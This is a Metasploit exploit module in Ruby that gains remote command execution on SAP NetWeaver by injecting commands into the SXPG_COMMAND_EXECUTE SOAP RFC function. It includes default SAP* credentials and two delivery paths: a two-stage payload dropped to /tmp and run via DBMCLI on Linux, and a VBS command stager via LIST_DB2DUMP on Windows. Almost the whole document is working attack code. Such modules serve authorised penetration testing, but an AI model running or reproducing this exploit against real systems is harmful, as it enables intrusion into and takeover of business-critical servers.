SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
##  
# This module is based on, inspired by, or is a port of a plugin available in  
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -  
# http://www.onapsis.com/research-free-solutions.php.  
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts  
# in producing the Metasploit modules and was happy to share his knowledge and  
# experience - a very cool guy.  
#  
# The following guys from ERP-SCAN deserve credit for their contributions -  
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and  
# Dmitry Evdokimov.  
#  
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis  
# who have Beta tested the modules and provided excellent feedback. Some people  
# just seem to enjoy hacking SAP :)  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
  
Rank = GreatRanking  
  
include Msf::Exploit::CmdStagerVBS  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::HttpClient  
  
def initialize  
super(  
'Name' => 'SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution',  
'Description' => %q{  
This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP  
SOAP RFC Service, to execute remote commands. This module needs SAP credentials with  
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested  
successfully on Windows 2008 64 bits and Linux 64 bits platforms.  
},  
'References' =>  
[  
[ 'URL', 'http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection' ],  
[ 'URL', 'https://service.sap.com/sap/support/notes/1764994' ],  
[ 'URL', 'https://service.sap.com/sap/support/notes/1341333' ]  
],  
'DisclosureDate' => 'May 8 2012',  
'Platform' => ['win', 'unix'],  
'Targets' => [  
[ 'Linux',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'unix'  
#'Payload' =>  
#{  
#'DisableNops' => true,  
#'Space' => 232,  
#'Compat' =>  
#{  
#'PayloadType' => 'cmd',  
#'RequiredCmd' => 'perl ruby',  
#}  
#}  
}  
],  
[ 'Windows x64',  
{  
'Arch' => ARCH_X86_64,  
'Platform' => 'win'  
}  
]  
],  
'DefaultTarget' => 0,  
'Privileged' => false,  
'Author' =>  
[  
'nmonkee'  
],  
'License' => MSF_LICENSE  
)  
register_options(  
[  
Opt::RPORT(8000),  
OptString.new('CLIENT', [true, 'SAP Client', '001']),  
OptString.new('USERNAME', [true, 'Username', 'SAP*']),  
OptString.new('PASSWORD', [true, 'Password', '06071992'])  
], self.class)  
register_advanced_options(  
[  
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments (Windows Target)', 250]),  
], self.class)  
end  
  
def send_soap_request(data)  
res = send_request_cgi({  
'uri' => '/sap/bc/soap/rfc',  
'method' => 'POST',  
'data' => data,  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],  
'ctype' => 'text/xml; charset=UTF-8',  
'headers' => {  
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',  
},  
'vars_get' => {  
'sap-client' => datastore['CLIENT'],  
'sap-language' => 'EN'  
}  
})  
return res  
end  
  
def build_soap_request(command, sap_command, sap_os)  
data = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\r\n"  
data << "<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\r\n"  
data << "<env:Body>\r\n"  
data << "<n1:SXPG_COMMAND_EXECUTE xmlns:n1=\"urn:sap-com:document:sap:rfc:functions\" env:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n"  
data << "<ADDITIONAL_PARAMETERS>#{command}</ADDITIONAL_PARAMETERS>\r\n"  
data << "<COMMANDNAME>#{sap_command}</COMMANDNAME>\r\n"  
data << "<OPERATINGSYSTEM>#{sap_os}</OPERATINGSYSTEM>\r\n"  
data << "<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>\r\n"  
data << "</n1:SXPG_COMMAND_EXECUTE>\r\n"  
data << "</env:Body>\r\n"  
data << "</env:Envelope>"  
  
return data  
end  
  
def check  
data = rand_text_alphanumeric(4 + rand(4))  
res = send_soap_request(data)  
if res and res.code == 500 and res.body =~ /faultstring/  
return Exploit::CheckCode::Detected  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
if target.name =~ /Windows/  
linemax = datastore['PAYLOAD_SPLIT']  
vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 250  
print_status("#{rhost}:#{rport} - Sending SOAP SXPG_COMMAND_EXECUTE request")  
execute_cmdstager({ :delay => 0.35, :linemax => linemax })  
elsif target.name =~ /Linux/  
file = rand_text_alphanumeric(5)  
stage_one = create_unix_payload(1,file)  
print_status("#{rhost}:#{rport} - Dumping the payload to /tmp/#{file}...")  
res = send_soap_request(stage_one)  
if res and res.code == 200 and res.body =~ /External program terminated/  
print_good("#{rhost}:#{rport} - Payload dump was successful")  
else  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed")  
end  
stage_two = create_unix_payload(2,file)  
print_status("#{rhost}:#{rport} - Executing /tmp/#{file}...")  
send_soap_request(stage_two)  
end  
end  
  
def create_unix_payload(stage, file)  
command = ""  
if target.name =~ /Linux/  
if stage == 1  
my_payload = payload.encoded.gsub(" ","\t")  
my_payload.gsub!("&","&")  
my_payload.gsub!("<","<")  
command = "-o /tmp/" + file + " -n pwnie" + "\n!"  
command << my_payload  
command << "\n"  
elsif stage == 2  
command = "-ic /tmp/" + file  
end  
  
end  
  
return build_soap_request(command.to_s, "DBMCLI", "ANYOS")  
end  
  
def execute_command(cmd, opts)  
command = cmd.gsub(/&/, "&")  
command.gsub!(/%TEMP%\\/, "")  
data = build_soap_request("&#{command}", "LIST_DB2DUMP", "Windows NT")  
begin  
res = send_soap_request(data)  
if res and res.code == 200  
return  
else  
if res and res.body =~ /faultstring/  
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>})  
0.upto(error.length-1) do |i|  
vprint_error("#{rhost}:#{rport} - Error #{error[i]}")  
end  
end  
print_status("#{res.code}\n#{res.body}")  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Error injecting command")  
end  
rescue ::Rex::ConnectionError  
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect")  
end  
end  
end  
`